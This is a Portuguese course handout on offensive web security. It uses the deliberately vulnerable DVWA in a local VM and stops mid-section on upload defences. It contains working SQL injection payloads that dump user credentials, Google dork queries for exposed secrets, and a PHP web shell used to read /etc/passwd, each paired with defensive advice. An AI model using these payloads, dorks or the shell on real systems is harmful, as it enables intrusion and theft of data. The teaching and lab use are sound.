Apostila---Seguranca-Ofensiva-em-Sistemas-Web

Prévia do material em texto

Sobre o Professor 
 
Jean Rafael Tardem Delefrati, programador web a mais de 17 anos. Atualmente 
trabalha na GoDaddy, na plataforma de segurança Sucuri. A empresa que eu 
trabalhava, Sucuri Security, foi comprada pela GoDaddy em 2017, antes disso era 
uma empresa de capital aberto fundada por Daniel Cid (brasileiro, fundador da 
OSSEC) e Tony Perez (americano) nos EUA em 2010 e oferece atualmente 3 
produtos distintos que servem para a proteção de websites: firewall, limpeza de 
websites e monitoramento de websites. 
 
Introdução 
O mundo tem se tornado cada vez mais conectado, sistemas que parecem 
ser simples cadastros podem estar ligados por uma rede ou uma API a outros 
sistemas muito mais complexos e muita da infraestrutura da nossa sociedade pós-
moderna é controlada via software - o sistema financeiro, os sistemas de defesa, de 
saúde, de energia, de comunicação entre outros. Algumas vezes, uma falha de 
segurança em um sistema aparentemente inócuo pode abrir possibilidades para a 
exploração de falhas em sistemas diversos - considerando que algumas pessoas 
reutilizam as mesmas senhas, inclusive para emails que são usados para recuperar 
senhas ou usar como autenticação em 2 etapas. Até mesmo dados pessoais podem 
ser utilizados em opções "esqueci minha senha" ou outros fins desonestos. 
Quando ocorre uma brecha de segurança em um sistema, é normal primeiro 
se perguntar de quem é a culpa e porque não foi feito nada antes para se evitar o 
comprometimento dos dados. O problema é que geralmente, proteger um sistema 
nem sempre é algo tão simples quanto instalar um software, envolve várias frentes, 
um trabalho contínuo e um esforço conjunto para tornar um sistema o mais seguro 
possível. Uma dessas frentes é o desenvolvimento de aplicações web seguindo 
princípios de segurança. 
 
O que é uma aplicação web? 
De forma geral, são sistemas que são executados em navegadores 
(browsers) através da internet na estrutura cliente-servidor. 
A área cliente é composta pelo que é executado do lado do navegador (ou 
browser). Envolve a interface de usuário (UI), como scripts que rodam diretamente 
no navegador (como JavaScript) linguagens de interpretação de folha de estilos 
(como CSS) e apresentação de dados em geral. 
A área do servidor é a parte geralmente que é processada no servidor web. 
Ex: código em PHP, React, Java, Asp.NET etc., assim como a parte de bancos de 
dados (geralmente). 
A maior parte dos ataques a aplicações web acontecem com mais frequência 
na área do servidor (mas também podem acontecer no lado do cliente), ou porque 
os programadores deixaram brechas de segurança em seus sistemas (não 
validando entradas de usuários, por exemplo) ou por má configuração. 
É ilegal explorar sistemas web? 
 Em primeiro lugar, não é ilegal saber sobre falhas nem explorar as mesmas, 
desde que: 
● Seja em uma aplicação que você mesmo fez e está testando a segurança da 
mesma (inclusive é recomendado que se faça isso); 
● Tenha permissão expressa do dono da aplicação; 
● Esteja participando de concursos legais de CTF (capture-the-flag); 
● Seja em um ambiente próprio para tal; 
Por que explorar falhas em sistemas/aplicações web? 
 Resumindo em uma só palavra: conhecimento. Tanto conhecimento sobre as 
falhas e técnicas de exploração, quanto no sentido de aprender melhor como um 
sistema específico funciona, dando uma visão ampla e profunda sobre as 
funcionalidades. Além disso, a melhor forma de se deixar um sistema mais seguro é 
conhecendo quais falhas este sistema tem. 
 A única maneira de ter verdadeiro conhecimento sobre segurança e como se 
proteger de falhas de segurança é através da experiência. A intenção dessa 
 
disciplina não é formar hackers que irão utilizar esses conhecimentos de forma 
ilegal, mas preparar os mesmos para que possam saber quais são falhas comuns 
que podem ser evitadas e como evitá-las para tornar a internet um lugar mais 
seguro. 
Além disso, o profissional que saiba explorar falhas de segurança pode 
exercer a função de: 
● Pentester - profissional contratado e autorizado a encontrar e explorar 
vulnerabilidades em empresas e redes; 
● Pesquisador de vulnerabilidades - profissional; 
● Bug-bounter - várias empresas oferecem programa de recompensas 
(bug-bounty) com pagamento em dinheiro para vulnerabilidade em 
sistemas próprios, o bugbounter é o profissional liberal que procura por 
essas vulnerabilidades com o consentimento da empresa, existem 
vários sites com listas de programas de recompensa, como o 
Hackerone (https://hackerone.com) e o Bugcrowd 
(https://bugcrowd.com). 
● Entre outros cargos ligados à área de segurança; 
● Programadores, SysAdmins, DBAs e engenheiros de software com 
uma base sólida de segurança também são mais visados no mercado 
de trabalho. 
 
Como a intenção desse curso é formar hackers éticos e comprometidos com 
a segurança, vamos aplicar alguns conceitos de segurança e invasão de sistemas 
na prática, para tanto, vamos instalar um sistema próprio para tal. O próximo 
capítulo é dedicado a ele. 
 
https://www.hackerone.com/
https://www.bugcrowd.com/
 
Damn Vulnerable Web Application 
(DVWA) 
Para esta disciplina iremos explorar falhas de segurança usando o aplicativo 
Damn Vulnerable Web Application, ou DVWA. Esta aplicação foi desenvolvida com 
o intuito de ser vulnerável propositalmente para que alunos, professores e 
profissionais da área de segurança possam treinar e aprender técnicas de invasão e 
código seguro - aprendendo como fazer ataques, identificar e se defender quando 
eles acontecerem com aplicações na vida real. 
O DVWA roda em PHP com MySQL, pode ser configurado em qualquer 
computador que tenha os mesmos instalados, mas jamais deve ser usado em 
uma aplicação online onde o servidor possa ter qualquer outro dado ou serviço 
que possa ser explorado, pois é uma aplicação propositalmente cheia de problemas 
de segurança. Mesmo em redes internas seu uso pode ser perigoso se a porta 
do servidor web estiver aberta para acesso externo ou na rede interna (geralmente 
a porta é a 80 ou a 8080, mas pode ser outra). O servidor onde esta aplicação for 
executado pode ser explorado e inclusive pode perder dados e configurações ou 
pode ser usado para escalar privilégios e atacar outras máquinas na mesma rede. 
A forma mais segura de se executar o DVWA é em uma máquina virtual 
(VirtualBox ou VMWare, por exemplo) com a rede em NAT. A máquina virtual deve 
ser desligada sempre que não esteja em utilização. 
No exemplo de instalação iremos utilizar a VirtualBox para emular um sistema 
Linux Ubuntu com o XAMPP. Poderia ser também utilizado outro sistema 
operacional, desde que aceitasse a instalação de um Web Server (Apache, Nginx, 
por exemplo), mas a escolha se dá pelos seguintes fatos: 
● Simplicidade de instalação de softwares em sistemas Debian; 
● Segurança extra de privilégios de sistema (se o usuário não tiver permissão 
de root, tem menos chance de quebrar alguma coisa muito séria); 
● Baixo consumo de dados e memória (se instalado só o modo texto/linha de 
comando); 
 
 
Instalação 
Para tornar mais uniforme a experiência de todos(as) vamos utilizar o 
HashiCorp Vagrant (https://www.vagrantup.com/). O Vagrant é uma ferramenta para 
gerar e gerenciar máquinas virtuais e com um único script gerará uma máquina 
virtual com as mesmas características para todos os alunos. 
 O primeiro passo é fazer o download do Vagrant para o sistema operacional 
que você usa - se seu computador é Windows, faça o download para o Windows, o 
mesmo para macOS - mesmo que você queira configurar uma máquina virtual com 
o Linux. O download do Vagrant pode ser realizdo no seguinte link: 
https://www.vagrantup.com/downloads.html 
 Após feito o download, instale o Vagrant normalmente como qualquer outro 
software para seu computador (execute o arquivo e siga os passos de instalação). O 
instalador irá automaticamenteadicionar o comando vagrant à sua linha de 
comando. Experimente o seguinte comando na linha de comando/terminal: 
$ vagrant version 
 
Se o resultado for algo parecido com a seguinte tela, podemos prosseguir: 
 
 
Se o comando não for reconhecido pode ser necessário fazer logout e login 
no seu sistema operacional, ou talvez até fazer um reboot. Se mesmo assim não 
conseguir executar o comando, pode ser necessário re-instalar o Vagrant. 
Após instalado copie o script do #Anexo 1# e cole em um arquivo de texto 
simples. 
https://www.vagrantup.com/
https://www.vagrantup.com/downloads.html
 
Crie uma nova pasta vazia onde ficará sua máquina virtual e salve o arquivo 
nesta pasta com o nome Vagrantfile. Você precisará acessar esta pasta pelo 
terminal ou linha de comando, portanto, guarde o endereço desta pasta. Depois, 
pelo terminal ou linha de comando acesse a pasta com um 
$ cd /caminho/da/pasta/que/voce/criou/ 
 
E execute o seguinte comando: 
$ vagrant up 
 
Isto irá configurar a máquina virtual e mostrar uma série de comandos na 
tela. Se precisar logar ao terminal da máquina virtual, utilize SSH1 com o comando: 
$ vagrant ssh 
 
 Quando dentro da máquina virtual, para sair da sessão do SSH (sem desligar 
a máquina virtual) utilize o comando: 
$ exit 
 
Terminando a configuração você já pode acessar no seu computador com 
qualquer navegador o endereço http://localhost:8080/ e deve receber uma tela como 
a seguinte: 
 
1 Secure Shell 
http://localhost:8080/
 
 
 Clique no botão "Create / Reset Database" e as seguintes mensagens devem 
aparecer: 
 
 
 
Clique no link "login" e você será redirecionado para a URL 
http://localhost:8080/login.php : 
 
 Dados padrão para login: 
Username: admin 
Password: password 
 
 
Caso tenha algum problema sério e precise recriar a máquina virtual do zero, 
utilize os seguintes comandos: 
$ vagrant destroy && vagrant up 
 
Se mesmo assim ainda não consiga resolver algum problema e precise 
recomeçar toda a instalação de novo, tente parar a máquina virtual com o comando: 
$ vagrant destroy 
 
 E apague a pasta invisível .vagrant 
http://localhost:8080/login.php
 
Importante! 
Sempre que terminar seus estudos pare a máquina virtual com o seguinte 
comando para evitar que seu computador continue executando uma aplicação 
insegura: 
$ vagrant halt 
 
Isto irá garantir que a máquina virtual não fique rodando como um processo 
de background. Sempre que suspeitar de algum acesso incomum ou de 
processamento incomum no seu computador, pare a máquina virtual com o mesmo 
comando. Mantenha-se seguro! 
 
 
 
Usando a DVWA 
As configurações básicas da DVWA ficam no arquivo: 
 /var/www/html/config/config.inc.php 
Existem 4 níveis de desafio para a DVWA: low, medium, high e impossible. 
Vamos trabalhar com o nível low, que é o mais básico, representando um sistema 
sem nenhuma prática de segurança ativa e que demonstra quão ruim um sistema 
pode ser. 
É recomendável que se altere o nível de desafio depois de aprendidas as 
técnicas básicas e se experimento aplicar alguns dos conhecimentos em outros 
níveis de dificuldade. Para se alterar, acesse a página DVWA Security: 
 
 
Explorando falhas na DVWA 
 Existem várias formas de se explorar falhas de segurança e vários aplicativos 
prontos que reduzem o tempo e deixam mais fácil a exploitabilidade de certas 
aplicações. No entanto, a utilização dessas ferramentas por pessoas que não 
saibam exatamente o que estão fazendo pode formar hackers2 viciados que apenas 
sabem usar ferramentas, sem saber exatamente o que elas fazem. Por isso, esta 
disciplina irá mostrar que mesmo com um simples navegador e uma linha de 
comando é possível acessar, inserir, modificar e excluir dados de uma aplicação 
web de forma não convencional. Assim, espera-se que o aluno possa aprender os 
princípios básicos de grandes falhas de segurança. 
Todos os exemplos a seguir usarão o Google Chrome Versão 66, no 
entanto, outros navegadores modernos podem ser usados, desde que permitam 
inspecionar os elementos em tempo real (DOM), visualizações de conexões de 
rede, cookies, etc. 
Para alguns testes será necessário a utilização de ferramentas na linha de 
comando, como cURL e grep. É possível emular algo parecido no sistema 
operacional Windows, mas o ideal é utilizar um sistema baseado em Unix (Unix-
like) como Linux ou macOS. Para Windows acima da versão 10, existe a opção de 
utilizar o Linux Shell dentro do próprio Windows. Se sua versão é inferior a esta e 
você não tem a opção de instalar o sistema operacional no seu HD, considere a 
possibilidade de uma máquina virtual ou um live CD. 
Depois de explorados e entendidos os conceitos básicos é sugerido que se 
aprofunde em aplicações, plugins e sistemas operacionais dedicados à função 
hacker. Algumas sugestões: 
● Sistema Operacional Kali Linux - que contém uma grande gama de 
aplicativos e suíte de aplicativos próprios; 
● Suíte de Aplicativos Burp - vêm por padrão com o Kali Linux, mas pode ser 
instalado standalone; 
● Hackbar - Plugin para navegadores Mozilla; 
 
2 Hackers sem conotação negativa, no sentido de indivíduos que utilizam seu conhecimento técnico 
para resolver problemas, geralmente problemas de segurança 
 
SQL Injection 
Acesse o menu lateral "SQL Injection". Será exibida uma página como a 
seguir: 
 
 Primeiro vamos verificar o código fonte do arquivo usando o botão View 
Source que deve abrir a seguinte URL: 
http://localhost:8080/vulnerabilities/view_source.php?id=sqli&security=low. 
 É possível ver que o código é bem simples, uma variável $id que vem do 
formulário $_REQUEST[ 'id' ] e que é utilizada numa variável $query que vai 
ser usada para fazer uma consulta ao banco de dados. Como estamos usando o 
nível low, não há validações e as funções para usar o banco de dados são 
baseadas na versão antiga (já depreciada mas ainda muito utilizada) da extensão 
do MySQL para o PHP (funções começando com mysql_). Numa requisição 
"normal", a variável $id seria o ID do usuário no banco de dados, ou seja, um 
número entre 1 e 5. Voltando ao formulário, vamos primeiro verificar se realmente 
http://localhost:8080/vulnerabilities/view_source.php?id=sqli&security=low
 
uma requisição dessas funciona normalmente. Para isso vamos colocar o valor 1 no 
campo User ID: 
 
Ok, funciona. Na prática, o que aconteceu é que a variável $query recebeu o 
valor 1 e ficou assim: 
SELECT first_name, last_name FROM users WHERE user_id = '1' 
A parte em vermelho é o que foi adicionado à query. Depois essa query foi 
executada dentro do MySQL e o resultado exibido na tela. 
Note que os dados nesse caso foram passados pela URL da página (ou seja, 
no formato de Query String): 
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit# 
Todos os comandos que vamos executar também vão parar na URL da 
página, mas o SQL Injection pode ser passado em formulários em forma de POST, 
em cabeçalhos (headers), cookies, da própria URL, JSON, SOAP ou XML - ou 
basicamente qualquer tipo de inserção de dados do usuário. 
Mas o que acontece quando por exemplo utilizarmos uma aspa simples ' no 
campo User ID? A página retorna uma mensagem como essa: 
You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax 
to use near ''''' at line 1 
O que isso significa? Que a $query está sendo montada da seguinte forma: 
SELECT first_name, last_name FROM users WHERE user_id = ''' 
Note que é como se a aspa simples é executada como parte do comando, o 
que gera um erro no MySQL e retorna a mensagem descrita. Nesse caso, 
descobrimos que o sistema é vulnerável à uma SQL Injection bem simples. Em 
muitos casos um erro não é retornado e somente por tentativa e erro é possível 
descobrir se um sistemaé vulnerável. 
http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit
 
Sabendo que o sistema é vulnerável, vamos forjar algumas queries que 
podem nos trazer dados interessantes. Primeiro, vamos colocar um SQL Injection 
básico no campo User ID: 
' OR 1='1 
A resposta deve ser algo como a seguinte tela: 
 
Isto acontece porque a instrução SQL sendo executada é a seguinte: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1='1' 
Note que a parte em vermelho do comando foi substituída pelo valor que 
colocamos no campo nosso campo e que agora o comando SQL diz para o MySQL 
procurar por usuários cujo user_id seja em branco OU em qualquer caso em que 
1 seja igual a '1', o que sempre vai ser verdade - fazendo com que todos os campos 
sejam retornados (1 sempre vai ser igual a '1'). 
 
Para executar comandos mais interessantes, podemos usar o comando 
UNION que permite a execução de duas consultas ao banco em uma só query. Só 
que para tanto, precisamos primeiro saber quantos campos há na nossa consulta. 
Neste caso específico, já sabemos que são dois, mas se não soubéssemos, uma 
forma de descobrir é utilizando a ordem da consulta, dessa forma: 
' OR 1=1 ORDER BY 1# - deve retornar ok e a SQL executada: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 ORDER BY 1#' 
' OR 1=1 ORDER BY 2# - deve retornar ok e a SQL executada: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 ORDER BY 2#' 
' OR 1=1 ORDER BY 2# - deve retornar o erro: 
Unknown column '3' in 'order clause' 
Sabendo que temos 2 campos para trabalhar, podemos tentar outro 
comando: 
' OR 1=1 UNION SELECT NULL, VERSION()# 
 Neste caso a SQL executada será: 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=1 UNION SELECT NULL, VERSION()#' 
 O resultado será o seguinte: 
 
 
Note o # próximo ao final do comando, esse é o símbolo de comentário para 
o MySQL, o que significa que tudo o que vier depois desse símbolo (como a aspa 
simples nesse caso específico) será ignorado. 
Outra parte interessante do comando é a palavra chave UNION, que permite 
que unamos mais de uma tabela no mesmo comando SQL, mesmo que os campos 
sejam diferentes. Neste caso específico, recebemos um valor novo na nossa lista, o 
resultado do comando version() no MySQL: 
Surname: 5.7.22-0ubuntu0.16.04.1 
 E se não quisermos que todos os resultados sejam exibidos (que só o 
resultado do UNION seja exibido)? 
' AND 1=0 UNION SELECT VERSION(), USER()# 
Que irá executar como: 
 
SELECT first_name, last_name FROM users WHERE user_id = '' OR 
1=0 UNION SELECT VERSION(), USER()#' 
Nesse caso, 1 nunca vai ser igual a 0, então a primeira parte do SELECT não 
vai retornar nada. 
 
 
 Com esse resultado já sabemos que estamos executando os comandos em 
um servidor Ubuntu 16.04 e que o usuário que roda o banco de dados é o root, o 
que significa que se conseguirmos executar alguma coisa no servidor terá 
permissões de super-usuário. 
Interessante, mas vamos fazer algo mais útil, como pegar os dados dos 
usuários direto do banco de dados. Como (em teoria) não sabemos os nomes das 
colunas que vamos usar, vamos usar a base de dados especial do MySQL chamada 
INFORMATION_SCHEMA: 
 
' AND 1=0 UNION SELECT NULL, TABLE_NAME FROM 
INFORMATION_SCHEMA.TABLES# 
Isso vai resultar em uma lista bem grande de resultados, mas olhando o 
resultado podemos ver que há uma tabela com o nome user na base de dados 
dvwa. Vamos tentar pegar as colunas dela: 
' AND 1=0 UNION SELECT TABLE_SCHEMA, CONCAT(TABLE_NAME,' - 
',COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE 
TABLE_NAME='users'# 
 
Neste caso, usamos o comando CONCAT para descobrir mais de duas 
colunas no mesmo campo. Analisando o resultado podemos construir uma SQL que 
finalmente vai resultar nos dados da tabela de usuários: 
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ', 
last_name, ' / ', user, ' / ', password) FROM users # 
 
 
 Além deste tipo de injeção para pegar outros dados, há muitas outras coisas 
que podem ser executadas em SQL Injection, como apagar, alterar ou inserir dados, 
apagar a database inteira ou até mesmo execução de arquivos remotos e upload de 
arquivos (por exemplo com SELECT ... INTO OUTFILE). 
Mostramos aqui uma única forma de injeção, que é a SQL Injection. Pode-se 
imaginar que evitando comandos SQL já estaríamos completamente protegidos, no 
entanto é possível executar injeções em bancos de dados NoSQL, ou em 
Mapeamentos objeto-relacionais (ORM), Expression Language (EL), Object Graph 
Navigation Library (OGNL), serviços de diretório como o LDAP e até comandos do 
sistema operacional. Cada um vai ter suas especificidades e pode ter impacto maior 
ou menor, mas usam o mesmo conceito: se usa de um código para ser adicionado 
ou concatenado a um comando inteiro que é repassado ao interpretador (MySQL, 
no exemplo) sem que seja devidamente limpo. 
 A DVWA ainda tem outra forma de injection, que é a de comandos, que 
basicamente funciona injetando comandos que serão executados na shell do 
servidor (como se fosse executado diretamente na linha de comando). Funciona da 
 
mesma forma que a SQL Injection, mas ao invés de comandos SQL podemos injetar 
comandos bash. 
Como se proteger? 
 Não existe uma solução única para evitar Injections, o ideal é evitar utilizar 
interpretadores - para o PHP com MySQL, por exemplo, é possível utilizar a 
extensão Mysqli com comandos preparados (prepared statements) 
(https://secure.php.net/manual/pt_BR/mysqli.prepare.php), que desde que bem 
utilizados evitam a maioria dos problemas de SQL Injection. ORMs (mapeamento 
objeto-relacional ou relational object mapping) em geral são mais seguros do que o 
uso direto de interpretadores, mas não devem ser a única forma de se proteger, pois 
podem conter falhas, o ideal é sempre se proteger de mais de uma forma. 
 Além disso, nunca se deve confiar nos dados vindos do lado do cliente, não 
só em dados de formulário, mas em headers, ou cookies, no endereço dos arquivos 
ou qualquer outro dado que venha do client-side. Sempre se deve sanitizar todos os 
dados vindos do lado do cliente que forem utilizados, mesmo que sejam cabeçalhos 
ou até mesmo a URL acessada pelo cliente. Por exemplo, se você espera por um 
número, converta os dados vindos do cliente para números, sempre que possível, 
utilize listas-brancas ao invés de listas-negras, ou seja, tenha uma lista do que é 
aceito ao invés de tentar bloquear tudo o que não seja aceito, tanto nos caracteres 
quanto nos próprios valores das variáveis. 
 Outra boa opção para evitar Injections é utilizar um Web Application Firewall 
(WAF) e um Firewall no seu servidor que vão bloquear ativamente qualquer 
requisição que pareça maligna. 
Desabilite também mensagens de erros que podem dar dicas de como suas 
queries são construídas. 
https://secure.php.net/manual/pt_BR/mysqli.prepare.php
 
Falha de criptografia 
Vamos voltar à SQL Injection na página SQL Injection e pegar o comando 
para descobrir os dados dos usuários: 
' AND 1=0 UNION SELECT NULL, CONCAT(first_name, ' / ', 
last_name, ' / ', user, ' / ', password) FROM users # 
 
Ok, podemos ver que a senha para o usuário 'admin' é 
5f4dcc3b5aa765d61d8327deb882cf99. É um valor com 32 caracteres, misturando 
números e letras de 0 a 9 e de a a f (provavelmente hexadecimal). Essa é 
tipicamente uma hash MD5, um tipo simples de "criptografia"3 de mão-única - ou 
seja, que depois de criptografada, não pode ser descriptografada. MD5 sempre 
gera uma string com 32 caracteres, não importa o quão longa seja a sequência de 
caracteres passadas, pode ser um caractere ou um milhão, sempre o resultado terá 
32 caracteres e será um hexadecimal. 
 
3 O algorítimo MD5 na verdade não encripta os dados nem codifica, mas gera uma hash usando um 
cálculo com os bits de cada caracter, maspara simplificar a ideia iremos utilizar as expressões 
criptografar e descriptografar. 
 
Se uma hash MD5 não pode ser descriptografada, como um sistema então 
sabe que o usuário acertou a senha e não colocou qualquer outra coisa? Simples, o 
sistema encripta a senha que o usuário digitou e compara com a senha no banco de 
dados, por exemplo, em PHP: 
<?php 
//... 
$senha_digitada = 'batman'; 
if (md5($senha_digitada)==='ec0e2603172c73a8b644bb9456c1ff6e') 
{ 
echo('nananananananananananananananana); 
} 
else 
{ 
echo('senha incorreta'); 
} 
//... 
?> 
O problema é que com apenas 128-bits de entropia, o algorítimo é facilmente 
quebrado em um sistema de força-bruta no caso de vazamento de informações. 
Outra forma de encontrar a senha é usando uma rainbow table4, uma lista com 
hashs pré-processadas, que mesmo que não tenha a mesma sequência de 
caracteres pode encontrar colisões de outras hashs iguais. Existem sites com 
bilhões de hashs que podem ser consultadas em poucos segundos. 
Por exemplo, a hash "5f4dcc3b5aa765d61d8327deb882cf99" que 
encontramos no banco de dados como senha do usuário "admin" usando nossa 
SQL Injection. Uma simples pesquisa na web por essa hash já nos mostra que essa 
senha é "password" (como já sabíamos, pois a usamos para fazer login no painel de 
controle), pois essa é uma senha muito comum e facilmente adivinhável. 
Existe uma forma de deixar hashes MD5 um pouco mais seguros, 
adicionando, por exemplo "sal"5 aos caracteres antes de encriptá-los, mas mesmo 
assim, ainda não é recomendável usar MD5 para senhas. O ideal, na verdade, é 
além de "salgar" as senhas, usar algoritmos mais seguros como Blowfish. 
 
4 Em inglês, tabela arco-íris 
5 Do inglês, "salt", "salgando" ou "temperando" a senha 
 
Mesmo usando um algoritmo mais seguro seu sistema ainda não estará 
totalmente seguro, pois verificar algoritmos de hash pode permitir ataques do tipo 
timing attack - ataques que consideram o tempo do processamento para criptografar 
uma senha, permitindo que se descubra a senha trocando letra a letra e verificando 
o tempo do processamento. Quando um sistema está vulnerável, a cada letra 
modificada na senha o tempo de processamento vai ser diferente, sempre que se 
acertar uma letra o tempo será menor. Uma forma de se evitar isso é fazendo com 
que a validação tenha sempre um tempo constante6. 
 
 
 
6 Em PHP existe uma API de hash de senha nativa que faz esse cálculo automaticamente além de 
usar o algoritimo Blowfish: http://php.net/manual/pt_BR/book.password.php 
http://php.net/manual/pt_BR/book.password.php
 
 
Exposição de dados sensíveis 
 No script de instalação da aplicação foram deixadas falhas de segurança 
propositais, esta é uma delas: 
sudo cp /var/www/html/config/config.inc.php.dist 
/var/www/html/config/config.inc.php 
Outro problema é uma configuração que permite a exposição de arquivos 
quando não há um arquivo índex na pasta. Quando você acessa uma página web 
(digamos www.test.com) o servidor web (no nosso caso Apache) automaticamente 
procura por alguns arquivos especiais que geralmente começam com o nome 
index e tem uma extensão que pode ser .html, .htm, .php, .php5, .jsp, .asp, 
.aspx etc. Quando não encontra um desses arquivos, existem geralmente 3 
possibilidades: ou o gerenciador da aplicação configura o mesmo para redirecionar 
para uma página que pode mostrar ou não um erro, ou o servidor mostra um erro 
(geralmente 403 Not Allowed), ou, na instalação padrão do Apache, por exemplo, o 
servidor mostra uma página "Index of" com uma lista de todos os arquivos naquela 
pasta. Para ver como essa página se parece, acesse: 
http://localhost:8080/config/ 
 Será mostrada uma página como essa: 
 
 Ao se clicar para abrir o arquivo config.inc.php o servidor pré-processa o 
PHP e retorna uma página em branco. Se esta página tiver qualquer PHP que 
possa ser executado, ele será executado (mas não é o caso). 
http://www.test.com/
http://localhost:8080/config/config.inc.php.dist
 
No entanto, utilizamos o comando cp para fazer uma cópia do arquivo 
config.inc.php, sem apagar o arquivo config.inc.php.dist - e este arquivo 
não é reconhecido pelo servidor como um arquivo PHP, o que permite que o mesmo 
seja acessado ou baixado a partir de qualquer navegador, por exemplo. Ao acessar 
o seguinte endereço será possível baixar uma cópia do arquivo: 
http://localhost:8080/config/config.inc.php.dist 
Neste arquivo estará a senha e as chaves privadas da sua aplicação: 
http://localhost:8080/config/config.inc.php.dist
 
 
Como buscadores da web como o Google não fazem distinção do que são 
arquivos legítimos e o que são arquivos vulneráveis, muitas vezes arquivos como 
este ficam disponíveis na web e aparecem em buscas. Há um movimento da própria 
Google em tentar reduzir isto nos últimos anos, atualmente, pesquisas 
tradicionalmente utilizadas por hackers para encontrar vulnerabilidades têm sido 
restritas a partir de algumas consultas e mesmo contas são temporariamente 
bloqueadas após algumas consultas. Pesquisas como: 
 
"index of" 
password filetype:bak 
filetype:sql 
filetype: dist 
PRIVATE_KEY filetype:env 
Estes tipos de consultas em buscadores como o Google permitem encontrar 
vulnerabilidades de dados que deveriam teoricamente ser privados, mas por falta de 
atenção, de experiência ou por inconsequência foram deixados em servidores web 
abertos ao mundo exterior. Existem muitas outras pesquisas que podem trazer 
resultados parecidos, geralmente ligados a arquivos de backup, salva ou formatos 
de arquivo que nunca deveriam ser deixados na internet. 
No entanto, há um movimento pela própria Google que visa reduzir a 
quantidades de falhas divulgadas por engano, bloqueando usuários que fazem 
várias consultas como as do exemplo - esteja avisado que realizar este tipo de 
consulta não é necessariamente ilegal, mas a exploração das falhas encontradas 
sem o consentimento do dono dos websites/aplicações/programas sim. Além disso, 
quando uma falha destas é divulgada, é difícil saber quem foi o autor original se o 
mesmo está exercendo a função ilegalmente - e usuários que só estavam 
realizando pesquisas por curiosidade podem ser acusados injustamente, portanto, 
cuidado quando for acessar dados que contenham dados sensíveis. 
Mesmo quando não encontramos esses arquivos através de pesquisas da 
web, ainda há outros arquivos que podem estar no servidor e dão informações 
importantes, como o arquivo robots.txt, que pode demonstrar que existem áreas 
administrativas na aplicação, ou arquivos como README.txt, version.txt e 
CHANGELOG.md que podem exibir informações sobre versão da aplicação ou dos 
componentes dela. Sabendo que se está usando um sistema comum e 
desatualizado, facilmente pode se encontrar informações sobre falhas de segurança 
para aquela versão específica. 
 
Upload de arquivos inseguros 
Uma prática muito comum utilizada por pessoas mal intencionadas é o envio 
de arquivos "executáveis" para dentro dos servidores, conhecidos como shell 
scripts. A ideia básica é utilizar um formulário de envio de arquivos para enviar 
arquivos do tipo PHP, por exemplo, para serem executados dentro do servidor web. 
Esses arquivos permitem a execução de basicamente qualquer coisa que o PHP 
tem acesso. 
Aplicando à DVWA 
Vamos preparar uma web shell bem simples. Crie um arquivo de texto em 
branco com o seguinte código: 
<?php 
$cmd = $_GET['cmd']; 
echo('<pre>'); 
echo(@shell_exec($cmd)); 
echo('</pre>'); 
 
 Salve o arquivo como shell.php e vamos tentar enviar o mesmo para a 
DVWA. No painel da DVWA clique em File Upload: 
 
 
No campo "Choose File" selecione o arquivo shell.php que você acabou de 
criar e clique em Upload. Como estamos trabalhando no modo "low" não existe 
nenhuma segurança e o arquivo será enviadosem problemas. Veja que na própria 
mensagem a DVWA nos dá a pasta para onde esse arquivo foi enviado (duas 
pastas abaixo da pasta atual, na pasta hackables/uploads). Vamos tentar acessar o 
nosso arquivo. No browser abra o endereço: 
http://localhost:8080/hackable/uploads/shell.php 
 Você provavelmente verá uma página em branco, vamos ver o código fonte 
da página: 
 
 Se não há nenhum PHP aqui, significa que o código foi pré-processado com 
sucesso. Vamos tentar colocar um comando no nosso shell. Acesse: 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls 
http://localhost:8080/hackable/uploads/shell.php
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
 
 Você deve ver a lista de arquivos na pasta de upload: 
 
 Vamos tentar listar arquivos de outra pasta: 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls ../../ 
 
Ótimo, conseguimos listar os arquivos. Conseguimos pegar conteúdos 
também? 
http://localhost:8080/hackable/uploads/shell.php?cmd=cat /etc/passwd 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls%20../../
http://localhost:8080/hackable/uploads/shell.php?cmd=cat%20/etc/passwd
 
 
Sem problemas também. E criar arquivos? 
http://localhost:8080/hackable/uploads/shell.php?cmd=echo "ola" > ola.txt 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls 
 
 Ou seja, você tem controle total do servidor, com as mesmas permissões que 
o PHP tem. Para saber qual usuário estamos usando, você pode acessar: 
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami 
 No nosso exemplo a resposta será "vagrant", mas em alguns servidores mal 
configurados pode acontecer de até ter a permissão de usuário "root". 
Segurança em upload de arquivos 
Existem várias métodos que devem ser usados em conjunto para se proteger 
de um ataque como este. O mais básico e principal é verificar a extensão do arquivo 
- mas atenção! Mesmo assim, deve-se sempre usar listas-brancas (whitelists) para 
http://localhost:8080/hackable/uploads/shell.php?cmd=echo%20%22ola%22%20%3E%20ola.txt
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
 
validar as extensões permitidas, ao invés de tentar se proteger de arquivos 
inseguros com listas-negras (blacklists). O que isso significa? Imagine a seguinte 
situação: 
● Um programa que esteja hospedado em um servidor Apache com o módulo 
PHP instalado e ativo. 
● Sabendo disso o programador decide que deve bloquear todos os arquivos 
.php no upload, utilizando um código parecido com este: 
<?php 
…. 
if ($extensao == 'php') { 
 die('Não permitido!'); 
} else { 
 //upload e tudo mais 
} 
?> 
● Neste caso, estamos usando uma lista-negra, pois estamos dizendo "quais 
extensões de arquivo não queremos" 
● Digamos que um atacante saiba disso, ou use uma ferramenta para procurar 
por essa vulnerabilidade, o que ele pode fazer é uma das seguintes coisas: 
○ Enviar o arquivo com a extensão .PHP, ou .pHP, ou .pHp ou qualquer 
outra combinação de maiúsculas/minúsculas - com isso o sistema não 
